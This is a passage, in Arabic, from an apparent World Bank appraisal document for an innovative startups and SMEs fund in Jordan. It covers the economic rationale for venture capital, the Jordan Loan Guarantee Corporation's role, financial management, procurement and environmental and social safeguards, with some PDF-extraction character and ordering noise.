بالكفاءة ومحاسب أول للشركة األردنية لضمان القروض بحيث يكمل كل منهما أدوار اآلخر؛ )ب( فتح حساب مخصص تديره الشركة األردنية وحساب فرعي يديره الصندوق؛ و)ج( االقتصار في استثمارات الصندوق على الجهات لقرارات مجلس إدارة الصندوق أو لجنة االستثمار أو كليهما معاً وفقاً المعتمدة وفقا للمبادئ التوجيهية الواردة في دليل ً عمليات المشروع؛ )د( االلتزام بنسب التمويل التي تعكس حصص المشاركين في أنشطة التمويل مع البنك المركزي األردني؛ )هـ( إعداد فصل حول اإلدارة المالية في دليل عمليات المشروع واعتماده؛ )و( التزام الصندوق بشراء نظام محاسبي وتشغيله؛ )ح( إعداد تقارير مالية مؤقتة غير مدققة وتسليمها، وتعيين مدقق حسابات خارجي للتدقيق في القوائم المالية السنوية؛ )ط( التزام الصندوق بتعيين مدقق حسابات داخلي وتعيين شركة استشارية أو توسيع نطاق عمل المدقق الداخلي لإلبالغ عن مدى امتثال الصندوق في االستثمارات التي يقوم بها لمعايير االختيار واإلجراءات االستثمارية المنصوص عليها في دليل عمليات المشروع. وبعد تطبيق تدابير الحد من المخاطر السابقة، سوف تقيم المخاطر المتبقية بانها كبيرة. ب- المشتريات: نظراً ألن مخاطر الشراء تتوقف على اختيار المدير والموظفين، فقد كان من الممكن تقييمها بأنها منخفضة، ولكن بعد األخذ في االعتبار أهمية هذا االختيار وتأثيره في تنفيذ المشروع كامال، فقد تقرر تقييم مخاطر المشتريات بأنها متوسطة. . ملخص التقييم سادساً أ- التحليل المالي واالقتصادي 70 -من شأن ازدهار مجال االستثمار في رأس المال المخاطر )ويشمل ذلك شبكات رعاة األعمال( أن يزيد الشركات الناشئة ومعدل خلق الوظائف. وقد أجريت عدة دراسات في الواليات المتحدة )حيث بدأت سوق رأس المال المخاطر( لقياس أثر رأس مال المخاطر على األسواق الحضرية المحلية على مدار عشر سنوات، وتوصل الباحثان ساميال وسورينسو إلى ن أنه كلما زاد اإلمداد المحلي من رأس المال المخاطر )للشركات الناشئة والشركات في المراحل المبكرة( زاد عدد الشركات الناشئة والوظائف والدخل اإلجمالي؛ ويرجع ذلك ألن رواد األعمال في مقتبل حياتهم المهنية يدركون احتياجهم لرأس المال في المستقبل، وسوف يبادر كثير منهم بالعمل إذا رأوا توافر تمويل مالئم، وألن الشركات التي تحصل على تمويلها من رأس مال المخاطر تشجع الشركات األخرى على خوض ريادة األعمال إما بإبراز نجاحاتها أو بتدريب المقبلين على تأسيس الشركات. كما إن استثمارات رأس مال المخاطر تجلب قيمة مضافة بخالف التمويل، تشمل على سبيل المثال زيادة تدريب الموظفين وتحسين حوكمة الشركات وشفافيتها في أمور مثل التدقيق المالي وأدوات اإلبالغ ومتابعة الموازنة ومؤشرات اإلشراف واألداء. 71 -تسهم الشركات الناشئة إسهاماً هائال في زيادة خلق الوظائف، وتؤثر شبكات رعاة األعمال تأثيرا مجديا على نمو هذه الشركات وأدائها واستمرارها، حتى وإن كانت تلك الشبكات تعمل في اقتصادات غير داعمة لرواد األعمال. وقد توصل بحث إلى أن الشركات الناشئة التي يدعمها رعاة أعمال يزداد احتمال استمرارها ألكثر من 18 24 أجرته كلية هارفارد لألعمال أو أكثر بعد تلقيها التمويل بنسبة شهرا 14 %مقارنة بالشركات األخرى. ويشير البحث نفسه أن تلك الشركات تعين موظفين ً أكثر بنسبة 40 ،%كما إن دعم رعاة األعمال يزيد احتمال التخارج الناجح من مرحلة التأسيس بنسبة 10 %لتصل النسبة اإلجمالية إلى 17 .%وبالمثل، ففي البلدان األخرى غير الواليات المتحدة يزداد احتمال جذب هذه الشركات لمن يمول متابعة أنشطتها. وتشير دراسة حديثة أجرتها منظمة التعاون والتنمية في المجال االقتصادي عام 2015 على المؤسسات الصغيرة 24 عولمة استثمارات رعاة األعمال: أدلة من بلدان مختلفة، كلية هارفارد لألعمال، ورقة العمل رقم 16-072 ،28 فبراير 2016. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 30 والمتوسطة أن المؤسسات متناهية الصغر )أقل من 10 موظفين( مسئولة عن 58 %من صافي النمو في عدد الوظائف )وهي أعلى نسبة(، وقد خلقت المؤسسات الجديدة )أصغر من 5 أعوام( األغلبية الساحقة من الوظائف الجديدة. وكذلك يؤكد تحليل الواردة في تقرير البنك الدولي بعنوان "وظائف من أجل النمو" )2015 )أن المؤسسات الجديدة 25 بيانات تعداد المؤسسات والمؤسسات عالية اإلنتاجية تخلق أكثرية الوظائف في الشرق األوسط وشمال أفريقيا؛ ففي األردن على سبيل المثال، يذكر التقرير أن المؤسسات األردنية الجديدة )التي تزاول نشاطها منذ 4 سنوات على األكثر( والتي يستهدفها المشروع ساهمت في خلق أكثر من 40 %من صافي الوظائف الجديدة بين 2006 و 2011 .ومن بين هذه المؤسسات الجديدة، خلقت الشركات الناشئة متناهية الصغر )أقل من 5 موظفين( أكثر من نصف النسبة المذكورة، أي أكثر من نصف صافي الوظائف الجديدة في 26 هذه السنوات الخمس، ويبلغ عددها اإلجمالي زهاء 8000 وظيفة )شكل رقم 8) . 72 -سوف تزداد اإليرادات الحكومية من هذا المشروع على المدى الطويل عبر إيرادات الضرائب باإلضافة إلى مساهمته في التوزان التجاري عن طريق زيادة الصادرات. وكذلك سيظهر أثر المشروع االقتصادي في خلق الوظائف بمجرد إبراز المؤسسات المشاركة فيه لنجاحاتها وتوجيه المزيد من االستثمارات إلى المؤسسات األكثر إنتاجية وتنافسية التي تقدم وظائف أفضل، وإنشاء الشركات المنبثقة الجديدة وتحقيق نمو الشركات في سلسلة القيمة. األساس النظري لتمويل القطاع العام 73 -وفقاً لتقرير أعده فريق التقييم المستقل التابع للبنك الدولي بعنوان "المجال التجاري الكبير للمؤسسات الصغيرة" )2014،) أي نظرية ذات مصداقية تسعى لتغيير نظام المساعدات المقدمة إلى المؤسسات متناهية الصغر والصغيرة والمتوسطة ينبغي أن تركز على خلق إمداد مستدام من الخدمات )مثل التمويل وخدمات تنمية األعمال التجارية والتدريب( عبر إنشاء أسواق ومؤسسات مستقرة، وعدم االقتصار على تقديم المزايا المؤقتة لقلة قليلة من المؤسسات خالل فترة المشروع. وهناك ثالثة أسباب متضافرة وراء تقديم األسواق تمويل أقل من الالزم للشركات في المراحل المبكرة: أال وهي: المعلومات غير المتماثلة )لدى األطراف المعنية( واإلخفاقات المؤسسية واإلخفاق في التنسيق. ويتعين على الحكومة اتخاذ خطوات لحل كل منها، سواء لكل عنصر )المعلومات غير كان ذلك بإصالح السياسات أو بالتدخل المباشر. يقدم القسم الثاني من الملحق رقم 4 شرحاً المتماثلة واإلخفاقات المؤسسية واإلخفاق في التنسيق(. ويسعى هذا المشروع لتصحيح اإلخفاق في التنسيق في السوق الذي عرقل تطوير مجال االستثمار في رأس المال المخاطر في األردن. 74 -يشير اإلخفاق في التنسيق إلى وضع يخفق فيه مجال االستثمار في رأس المال المخاطر أن يتطور بسبب ضعف النظام البيئي الشامل، وذلك لعدة أسباب منها عدم وجود عدد كافٍ من الشركات الناشئة الواعدة الجاهزة لالستثمار، وعم وجود رعاة أعمال لدعم تلك الشركات في المراحل المبكرة، وعدم وجود المحامين القادرين على التفاوض في الصفقات واالتفاقات التي تبرم مع شركاء التنفيذ، وعدم وجود المهنيين المتخصصين في مجال االستثمار، وعدم وجود أسواق متطورة لعمليات . ولكن تلك المشكالت ال يمكن حلها دون تطوير مجال االستثمار في رأس المال المخاطر . لكن مجال استثمار رأس 27 التخارج المال في األردن يركز في الوقت الحالي على االستثمار في كبرى صفقات االستثمار في رأس المال الخاص، أما االستثمار في رأس المال المخاطر فال يهتم به إال القليل. وفي العادة يتم مواجهة مشكلة اإلخفاق في التنسيق باتباع آلية تقوم الحكومة من خاللها بضخ مؤقت لرأس المال عبر مرفق لمشاركة المخاطر مع المستثمرين من القطاع الخاص إلى أن يتطور المجال تماماً ويستغني عن تلك المساعدات. وقد استخدمت هذه اآللية في أستراليا والبرازيل والهند وإسرائيل والواليات المتحدة األمريكية والمملكة المتحدة وكندا. ب- تحليل الجوانب الفنية 75 -أجرى مشروع البنك الدولي تقييماً للشركة األردنية لضمان القروض وتضمن التقييم مراجعة للهيكل القانوني للشركة، وبناء على هذا التقييم تم تصميم المشروع. وكانت الشركة األردنية قد تأسست سنة 1994 باعتبارها شركة مساهمة عامة برأس مال لتقديم الضمانات للقروض التجارية الممنوحة للمؤسسات الصغيرة والمتوسطة. وباعتبارها شركة مساهمة عامة، تخضع . والشركة مكلفة قانوناً الشركة األردنية إلشراف هيئة سوق المال األردنية بإنشاء وإدارة جميع أنواع الشركات أو المشروعات والمساهمة في رأس مالها. يقوم بإدارة شئون هذه الشركة مجلس إدارة مؤلف من 7 أعضاء. ويكلف البنك المركزي األردني قاعدة بيانات البنك الدولي للدراسات االستقصائية. 25 التقرير اإلقليمي للبنك الدولي لعام 2014" :الوظائف أو االمتيازات: خلق فرص العمل في منطقة الشرق األوسط وشمال أفريقيا"؛ التقرير الموجز 26 الخاص باألردن. حاالت التخارج: ال تعتبر العروض العامة األولوية، بطبيعة الحال، من استراتيجيات التخارج القابلة لالستمرارية في معظم االقتصادات الناشئة ذات 27 أسواق رأس المال المتأخرة، ولذلك فإن صناديق االستثمار الخاص/ رأس المال المخاطر تميل لالعتماد في تسهيل التخارج على المبيعات إلى الرعاة . الماليين االستراتيجيين او الصكوك التي تسدد ذاتياً البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 31 اثنين من أعضائه، أحدهما رئيس مجلس اإلدارة بتمثيل البنك في مجلس إدارة الشركة، حيث أن مساهمته في الشركة تظل عند 45 %أو أكثر من رأس مالها. أما عن األعضاء الخمسة المتبقين، فيتم اختيارهم بمعرفة الجمعية العمومية للمساهمين )باستثناء ممثل البنك المركزي(، وذلك لتمثيل بقية المساهمين عمال بالقوانين واللوائح السارية وقانون الشركات. أسهم الشركة األردنية موزعة كالتالي: 49 %يمتلكها البنك المركزي األردني، 15 %يتم تداولها في سوق البورصة األردنية، والنسبة المتبقية موزعة بين البنوك الخاصة األردنية والبنوك اإلقليمية والمستثمرين في المؤسسات )شركات التأمين ومؤسسة الضمان االجتماعي( حسب نسبة مساهمة كل منها. مدة العضوية في مجلس اإلدارة 4 سنوات تنتهي بانتخاب أعضاء مجلس اإلدارة الجديد. 76 -أثبتت عمليات التقييم التشغيلي التي أجراها البنك الدولي عام 2011 ومؤسسة التمويل الدولية عام 2012 حول الشركة األردنية لضمان القروض في إطار عمليات المساعدة الفنية المقدمة من قبل أن الشركة معتادة على نظام البنك )على الرغم من محدودية المساعدة الفنية(. في عام 2013 ،بدأت مؤسسة التمويل الدولية والبنك الدولي لإلنشاء والتعمير، من خالل مرفق المساعدة الفنية للمشروعات متناهية الصغر والصغيرة والمتوسطة اإلقليمية بمنطقة الشرق األوسط وشمال إفريقيا، العمل على تحسين اإلطار المؤسسي في األردن من خالل إنشاء أول مكتب استعالم ائتماني خاص في البالد، ودعم الشركة األردنية في إدارة المخاطر وتنمية األعمال والمنتجات )مع التركيز على منتجات المؤسسات متناهية الصغر والصغيرة والمتوسطة(، والتسويق والتواصل للمساعدة في توسيع نطاق انتشارها وزيادة أثر منتجات المؤسسات الصغيرة والمتوسطة التي تدعمها الشركة. ومع ذلك، ال تضخ الشركة األردنية استثمارات رأس المال في المؤسسات الصغيرة والمتوسطة، وبالتالي فإنها ال تمتلك القدرة على تنفيذ أنشطة المشروع. وحتى تتمكن من ذلك، فسوف تقوم الشركة باختيار مدير يضطلع بمسئولية إدارة صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية وتعيين فريق العمل به، وتتم عملية االختيار إلى المعايير التنافسية العالمية. ويكون هذا المدير مسئوال أمام الشركة األر استنادا دنية لضمان القروض. وسوف يقوم البنك ً الدولي بتدريب مدير الصندوق المختار وفريق العمل على كيفية تطبيق مبادئه التوجيهية الخاصة بالضمانات الوقائية واالئتمان والمتابعة والتقييم، وسوف يتم إعداد دليل للعمليات ينص على معايير واضحة لتنفيذ األنشطة والحوكمة وإعداد التقارير. ج. اإلدارة المالية 77 -أجرى البنك الدولي تقييماً لنظام اإلدارة المالية المتبع في الشركة األردنية لضمان القروض، وفور إنشاء صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية، سيقوم البنك الدولي كذلك بإجراء تقييم ألنظمة اإلدارة المالية للصندوق، وتوصل التقييم إلى أن تنفيذ اإلجراءات المتفق عليها وترتيبات اإلدارة المالية المقترحة تستوفي الحد األدنى من متطلبات البنك لسياسة العمليات/وإجراءات البنك رقم وفقا 10-00 ،وقد ُصنف معدل مخاطر اإلدارة المالية الحالية بأنه "مرتفعاً"، إال أنه ً بالنظر إلى إجراءات تخفيف المخاطر المقترحة، انخفض تصنيف بقية مخاطر اإلدارة المالية الكلية لهذا التمويل إلى "كبيرة"، ويقدم الملحق رقم 2 معلومات إضافية بشأن تقييم اإلدارة المالية وإجراءات التخفيف الموصى بها، وتحتوي ملفات مشروع البنك الدولي على تقييم مفصل عن قدرات اإلدارة المالية والترتيبات ذات الصلة. 78 -وستقوم الشركة االردنية لضمان القروض بإدارة التنسيق العام لتنفيذ المشروع، بينما سيدير صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية العمليات اليومية واإلدارة المالية ومهام اإلنفاق. سوف تتمكن الحكومة من خالل استخدام الصندوق بصفته كيان ألغراض خاصة عزل أسهم رأس المال الخاصة في إطار شركة مستقلة وذلك حتى يحين موعد تصفية العائدات النهائية وإعادتها إلى الحكومة األردنية. ويتوجب على الصندوق القيام بعدة أمور من بينها، الحفاظ على تطبيق أنظمة إدارة مالية مالئمة وكافية بما في ذلك سجالت وحسابات وقوائم مالية تعكس عمليات المشروع وموارده ونفقاته بشكل كافي. وبمجرد إنشاء الصندوق، سيقوم فريق اإلدارة المالية بالبنك الدولي بإجراء تقييم لإلدارة المالية للتأكد من قيام الصندوق بإجراء تقييم مالئم لإلدارة المالية ألغراض المشروع. وسوف يضم فريق العمل في الصندوق مسئول مالي أول يتقاضى أتعابه من عائدات القرض وسيعمل تحت إشراف مدير عام الصندوق. ومن احية أخرى، تحتاج الشركة االردنية، نتيجة للقيود المفروضة على القدرات، إلى تعيين محاسب أول يعمل بدوام جزئي يتقاضى أتعابه من المشروع ليضطلع بمهمة تنسيق النواحي المالية ونواحي اإلنفاق الخاصة بالمشروع مع كبير الموظفين الماليين في الصندوق. 79 -سيمول المشروع استثمارات التمويل المختلط من رأس المال والدين وكذلك تمويل الخدمات المتفق عليها التي سيقدمها مقدمي الدعم إلى وكالء النظام البيئي الشامل من أجل تحفيز تنفيذهم للنشاطات اإلبتكارية التي ُتسرع من معدل تدفق الصفقات في األردن. وسيتم االستعانة بمقدمي خدمات متخصصين لتنفيذ كل عناصر أنشطة تدفق الصفقات )بما في ذلك برامج بنا ًء على نتائج واضحة تدرج في عقود أو ُ التنشيط وخدمات تنمية األنشطة التجارية وتنمية شبكات المستثمريين الممولين( اتفاقيات الشراكة، وسيتناول دليل عمليات المشروع أنواع البرامج بالتفصيل، وسيتم إجراء تقييم إدارة مالية بسيط فيما يتعلق بمقدمي الدعم الذين سيقومون بتنفيذ األنشطة المسندة إليهم لضمان تنفيذ أنظمة إدارة مالية مقبولة. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 32 80 -ستجري الشركة األردنية لضمان القروض عمليات تدفق التمويالت من خالل حساب مخصص يتم فتحه للمشروع في أحد البنوك التجارية المعتمدة لدى البنك الدولي، وتحول الشركة األردنية التمويالت من الحساب المخصص إلى حساب شركات صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية، ويستخدم حساب شركات الصندوق لتمويل أنشطة الصندوق المختلفة، بما في ذلك استثمارات التمويل المختلط من رأس المال والدين وتسديد مقدمي الدعم لمدفوعات تتعلق بتكلفة الخدمات وكذلك تكاليف إدارة المشروع، وتكون الشركة األردنية مسئولة عن إعداد طلبات السحب للمطالبة بدفع مقدمة، وما يتبعها من تجديدات وتعويضات من البنك الدولي. 81 -سيجهز صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية نظام مالي مقبول يقوم بتتبع المدفوعات وتكاليف االستثمارات وإعادة تسديد أسهم رأس المال المباشر ومواعيد السداد ومردود االستثمار وعائده حتى يحين موعد تصفية العائدات النهائية وإعادتها إلى الحكومة األردنية، وسيقوم الصندوق بتقديم تقارير مالية ربع سنوية تغطي جميع يوماً األنشطة المالية إلى الشركة األردنية خالل 30 بعد تاريخ انتهاء ربع السنة لدمجها مع أنشطة المشروع األخرى التي قامت بها الشركة، وتكون الشركة مسئولة عن تقديم تقارير مالية مرحلية غير مدققة إلى البنك الدولي خالل 45 يوم الحقة لتاريخ انتهاء ربع السنة. 82 -سوف تتم عمليات التخارج من خالل إحدى الطرق االعتيادية وهي البيع المباشر أو شراء حصص اإلدارة أو الطرح العام المبدئي أو غيرها من الطرق المنصوص عليها في دليل عمليات المشروع، وسوف تخضع عمليات التخارج للجزاءات التي تفرضها لجنة االستثمار المعنية بالعروض التي أعدها الصندوق. ويتم إيداع عوائد/أرباح االستثمارات وكذلك العائدات المحققة من بيع وتصفية االستثمارات في حساب بنكي منفصل يتم فتحه في أحد البنوك التجارية لغرض يختلف عن غرض الحساب المخصص للمشروع ويستخدم بناء على االتفاقية المبرمة بين البنك المركزي األردني والحكومة على النحو المحدد في دليل عمليات المشروع. 83 -يصمم المشروع نظام رقابة داخلية فعال وينفذه، وقد اعتمدت الشركة األردنية لضمان القروض والجهة المقترضة دليل فصال عن اإلدارة المالية المعتمدة من البنك الدولي، والذي على أساسه سيتم وضع اإلجراءات عمليات المشروع، متضمناً المالية والضوابط الداخلية. كما سيعتمد صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية دليل عمليات المشروع بمجرد إعداده. وسوف يتضمن هذا الدليل نماذج اتفاقيات المساهمين واتفاقيات االستثمار واتفاقيات المنح، ويغطي الدليل الموضوعات التي تتعلق بتنفيذ المشروع بما في ذلك األدوار والمسئوليات المشتركة بين الوكاالت وإجراءات اإلدارة المالية وجميع معايير األهلية واالختيار وكذلك قائمة العمالء المستبعدين. ويعين الصندوق مراجع حسابات داخلي ليهتم بجميع أنشطة المشروع قبل مضي عام على فعالية المشروع ويقوم برفع تقارير إلى مجلس إدارة الصندوق، ويقدم إلى البنك الدولي الشروط المرجعية لمهام مراجع الحسابات الداخلي ويعرضها على البنك الدولي لضمان عدم الممانعة. وتكون وظيفة المراجع األساسية فيما يتعلق بالمشروع هي إجراء تحليل مخاطر العمليات وضمان االمتثال لإلجراءات بوجه عام ولمعايير األهلية الخاصة بالمشروع بوجه خاص كما هو منصوص عليه في دليل عمليات المشروع، وتغطى تكاليف المراجع الداخلي تحت بند إدارة المشروع. 84 -سوف يتم تعيين مدقق خارجي لإلضطالع بمهمة التدقيق المالي للمشروع وإعداد القوائم المالية السنوية، ذلك وفقاً للشروط المرجعية المقبولة لدى البنك الدولي. وال بد من تعيين المدقق خالل 6 أشهر من تاريخ بدء تنفيذ المشروع. ومن ناحية أخرى، سيتم توسيع نطاق مهام المدقق الخارجي أو تعيين شركة استشارية بمعرفة الصندوق لتنفيذ إجراءات المراجعة السنوية المتفق عليها للجهة المستفيدة )مرحلة التأسيس والمرحلة المبكرة والشركات الناشئة ومعجالت وحاضنات األعمال وشبكات رعاة األعمال ومنصات التمويل الجماعي، وما إلى ذلك(. سيتم تمويل كال النشاطين في إطار مكون إدارة المشروع. د- اإلنفاق 85 -سوف تطلب الشركة األردنية لضمان القروض تعويضها عن النفقات التي تم االتفاق عليها قبل بدء المشروع. كذلك سوف تطلب الشركة إيداع دفعة مالية مقدمة في الحساب المخصص للمشروع من أجل بدء اإلنفاق على عملية التنفيذ. ستكون المدفوعات المقدمة من البنك الدولي إلى الشركة األردنية على أساس تقارير مالية مؤقتة ربع سنوية غير مدققة، توضح النفقات الفعلية عن الربع السابق )ثالثة أشهر(، والتدفق النقدي المتوقع على مدى الربعين التاليين )ستة أشهر(. وتحتفظ الشركة األردنية بكافة الوثائق الداعمة، على أن يكون ذلك بطريقة تتيح لبعثات البنك الدولي، والمدققين الداخليين والخارجيين مراجعتها. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 33 86 -شروط اإلنفاق. سيكون تعيين مدير مؤهل لصندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة شرطاً لإلنفاق. هـ المشتريات 87 -تم إجراء تقييم لقدرة عمليات المشتريات، وتم تصنيف مخاطرها بأنها متوسطة. وقد خلص التقييم العام، الذي أجرته الشركة المنفذة، وهي الشركة األردنية لضمان القروض، إلى أن عملية المشتريات التي تتبعها هذه المؤسسة تلتزم بالمبادئ التوجيهية للمشتريات األساسية التي يتبناها البنك الدولي. سوف يطبق المشروع إطار المشتريات الخاص بالبنك فيما يتعلق بتعيين شركة إدارة، أو اختيار مدير لصندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية الذي سوف يعين بدوره فريق العمل، وكذا التعاقد على الخدمات، وشراء األدوات المكتبية البسيطة، والمعدات التي يحتاجها الصندوق من أجل ممارسة عمله. للحد من المخاطر المحددة، هناك بعض اإلجراءات المقترحة التي من شأنها خفض درجة تصنيف المخاطر: أ( ترتيب الدعم المناسب )طاقم العمل، والتدريب، واألدوات( للتعامل مع إدارة المشتريات على األقل حتى يتم اختيار استشاري إداري، ب( ضمان إدارة العقود بشكل سليم من جانب الهيئة المنفذة، ج( وضع نظام لمتابعة تعديالت عقود صندوق الشركات الناشئة والمؤسسات المتوسطة والصغيرة االبتكارية وتحفيزها، د( االتفاق على طريقة مناسبة لنشر قرارات المشتريات وغيرها من المعلومات ذات الصلة بأدنى حد، )على موقع إلكتروني أو من خالل نشرات صحفية(. 88 -تم تصور ترتيبات المشروع التالية الخاصة بالمشتريات على النحو التالي: 1 .مبادئ توجيهية لمكافحة الفساد: سوف يتم تطبيق "مبادئ توجيهية بشأن منع ومكافحة االحتيال والفساد في المشروعات، التي يتم تمويلها بقروض من البنك الدولي لإلنشاء والتعمير، وقروض ومنح من مؤسسة التنمية الدولية" والصادرة في 15 أكتوبر/ تشرين األول 2006 ،وتم مراجعتها في يناير/ كانون الثاني 2011 . 2 .لوائح المشتريات: سوف يتم تطبيق "لوائح المشتريات الخاصة بالبنك الدولي للمقترضين في إطار تمويل المشروعات االستثمارية" والصادرة في 1 يوليو/ تموز 2016( لوائح المشتريات( في المشروع. بالنسبة إلى تحديدا واالختيارات المتعلقة بمدير صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة ً المشتريات المكتبية ا "للممارسات التجارية" بحسب ما جاء ً االبتكارية، تستخدم الشركة األردنية لضمان القروض ترتيبات االختيار طبق في القسم رقم 6-46 من اللوائح المشار إليها أعاله. تشير الممارسات التجارية إلى استخدام ترتيبات المشتريات عادًة ما تكون مؤسسات غير خاضعة لقانون المشتريات الحكومي المعتمدة والمستخدمة في القطاع الخاص ) للمقترض( لشراء السلع أو تنفيذ األعمال أو الخدمات غير االستشارية. ينفذ البنك مبادئ المشتريات األساسية التالية لكونها المعيار المستخدم لتحديد مدى قبول الممارسات التجارية، وهي: قيمة األموال واالقتصاد والنزاهة ومدى المالئمة للغرض والفعالية والشفافية والعدالة. 3 .أنشطة المشروع بطبيعتها غير معقدة؛ ومن المتوقع أن تختار الشركة األردنية لضمان القروض مدير لصندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية، يقوم بدوره بتعيين فريق عمل للقيام بمهامه كوحدة تنفيذ المشروع. إلى جانب ذلك، سوف يتم شراء اللوازم المكتبية، واألثاث المكتبي بحسب احتياجات الصندوق. 4 .سوف تتبع طرق شراء السلع والخدمات االستشارية وغير االستشارية الممارسات التجارية المعمدة لدى الشركة األردنية لضمان القروض. 5 .فريق العمل: يتم تكليف أخصائي المشتريات بالشركة األردنية لضمان القروض بتعيين مدير صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية، وشراء الخدمات المتصلة بدور الشركة األردنية بصفتها الجهة المنفذة. تتماشى مؤهالت المشتريات مع متطلبات المنصب الحالي. سيكون هناك حاجة إلى دعم فني من الشركة األردنية لمساعدة فريق المشتريات في تقييم واختيار مدير الصندوق وأفراد فريق العمل. سوف تكون الجهة المنفذة مسئولة عن إدارة عقود مدير الصندوق وفريق عمله. كذلك يحق للشركة المنفذة اختيار تفويض مدير الصندوق بإدارة العقود الخاصة بأفراد فريق عمل الصندوق. و- تحليل الجوانب اإلجتماعية )متضمنة الضمانات الوقائية( 89 -يتم تصنيف هذا المشروع كمؤسسة وسيطة مالية وفقاً للتقييم البيئي للبنك الدولي )سياسة العمليات رقم 4-01 .)يتم تصنيف المخاطر البيئية واالجتماعية بأنها منخفضة بالنظر إلى توقع أن تكون المشروعات الفرعية الممولة هي مشروعات تصاعدياً ناشئة تكنولوجية تقدم خدمات بسيطة وتتخذ إتجاها في دورة تنمية األعمال الخاصة بها. سوف يحكم إطار اإلدارة ً البيئية واالجتماعية الجوانب البيئية واالجتماعية للمشروع، حيث يتماشى مع اللوائح واإلجراءات األردنية ذات الصلة. وسوف يقدم البنك الدولي قرضه من خالل كيان له غرض خاص، وهو مؤسسة وسيطة هدفها تقديم رأس المال إلى المؤسسات الصغيرة والمتوسطة المختارة. سوف تتم مساءلة مدير صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية ًة إلى البنك أمام مجلس إدارة الصندوق، التي تتولى الشركة األردنية لضمان القروض رئاسته. ويقدم الصندوق تقاريره مباشر البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 34 الدولي، وتقدم الشركة األردنية بدورها التقارير إلى وزارة التخطيط والتعاون الدولي فيما يتعلق بتنفيذ المشروع. وبالنسبة لتقارير الضمانات الوقائية، فسوف يجري الصندوق عمليات تدقيق سنوية الحقة للمراجعة، ويخطر الشركة األردنية بمستوى التقدم المحرز في المشروع. سوف تقدم الشركة األردنية تقارير إلى مجموعة البنك الدولي كما هو موضح في المبادئ التوجيهية إلطار اإلدارة البيئية واالجتماعية، بهدف توفير معلومات بشأن اآلثار البيئية واالجتماعية الرئيسية للمشروع، وفعالية إطارا ، ً إجراءات التخفيف من آثارها. وتم وضع إطار لإلدارة البيئية واالجتماعية والتخفيف من اآلثار ذات الصلة و للمتابعة وتم إدراجها في مالحق إطار اإلدارة البيئية واالجتماعية. كذلك تعمل أطر المتابعة كوسيلة لمتابعة وتقييم مدى التزام الضمانات الوقائية بإطار اإلدارة البيئية واالجتماعية. وسوف تشمل التقارير المرحلية التي يقدمها الصندوق إلى مجلس اإلدارة والشركة األردنية قسم خاص بالتزام ومطابقة الضمانات الوقائية. وبدورها سوف تقدم الشركة األردنية تقارير مرحلية إلى البنك الدولي. 90 -من المتوقع أن يقوم المشروع باألساس بتمويل المشروعات الصغيرة التي تعمل في مجال الخدمات أو التكنولوجيا ذات المخاطر البيئية أو االجتماعية المحدودة. يشير التقييم إلى أن األنشطة التي يمولها المشروع لن تتضمن أي أعمال تقتضي استحواذ على األراضي. وقد تم إعداد إطار اإلدارة البيئية واالجتماعية، الذي يقدم قائمة باألنشطة الفرعية غير المسموح بها وآلية فحص األنشطة ونظام للمتابعة وتقديم التقارير، وإدراجه في دليل عمليات المشروع من أجل التصدي ألي مخاطر بيئية أو اجتماعية محتملة. يتولى مسؤولو االستثمار بالمشروع في صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية مسئولية فحص االستثمارات في الشركات خالل مرحلة التأسيس/ تمويل األعمال وتمويل المرحلة المبكرة منها/ وتمويل رأس المال المخاطر، وتقديم التقارير إلى الشركة األردنية لضمان القروض وفقاً إلطار اإلدارة البيئية واالجتماعية للمشروع. سوف تضمن عملية الفحص عدم اشتمال األنشطة الممولة على إعادة توطين قسري. وال بد من الحفاظ على شفافية عملية الطلب لضمان تكافئ فرص الحصول على التمويل. وسوف يتم اإلعالن عن الدعوة إلى تقديم عروض على نطاق واسع، وسوف تستهدف هذه الدعوة اتحادات المرأة وغيرها من المؤسسات من أجل ضمان نشر المعلومات بقدر كافي بين رائدات األعمال المحتمالت. وسوف يحدد دليل عمليات المشروع معايير األهلية الخاصة بالطلب، وكيفية اإلعالن عن العملية، وكذلك سيعلن عن العروض المختارة. سوف يضع المشروع آلية التعامل مع الشكاوى والتظلمات و يتم اإلعالن عنها على نحو مالئم، وتشرف عليها الشركة األردنية التي تقوم بتعيين استشاري يقدم الدعم للرقابة الكاملة ومتابعة أنشطة الصندوق بما في ذلك إدارة الشكاوى التي قد يتم تقديمها والعمل على حلها. ز- تحليل الجوانب البيئية )متضمنة الضمانات الوقائية( 91 -يتم تصنيف هذا المشروع ضمن فئة "الوساطة المالية" عمال بسياسة عمليات البنك الدولي رقم 4-01 .يتم اإلشارة إلى المؤسسات المالية، وشركاء النظام البيئي الشامل، الذين يتم اختيارهم لتنفيذ االستثمارات، ودعم النظام البيئي الشامل، في هذا السياق كشركاء لصندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية، ومن بينهم، صناديق االستثمار في رأس المال المخاطر، وصناديق تمويل التأسيس/ والمراحل المبكرة من األعمال، ومقدمي الدعم للنظام البيئي الشامل )معجالت األعمال، وحاضنات أعمال، وخدمات تنمية األعمال وغيرها(. من المتوقع أن يمول هذا المشروع باألساس مشروعات صغيرة في مجال الخدمات أو التكنولوجيا ذات مخاطر بيئية واجتماعية محدودة. ال تتضمن األنشطة عقارات وبناء خالصة )إنشاء مكاتب وشراء منشآت ومعدات بناء(. مع ذلك قد يكون هناك بعض األنشطة التي تتضمن مخاطر بيئية واجتماعية رغم أن 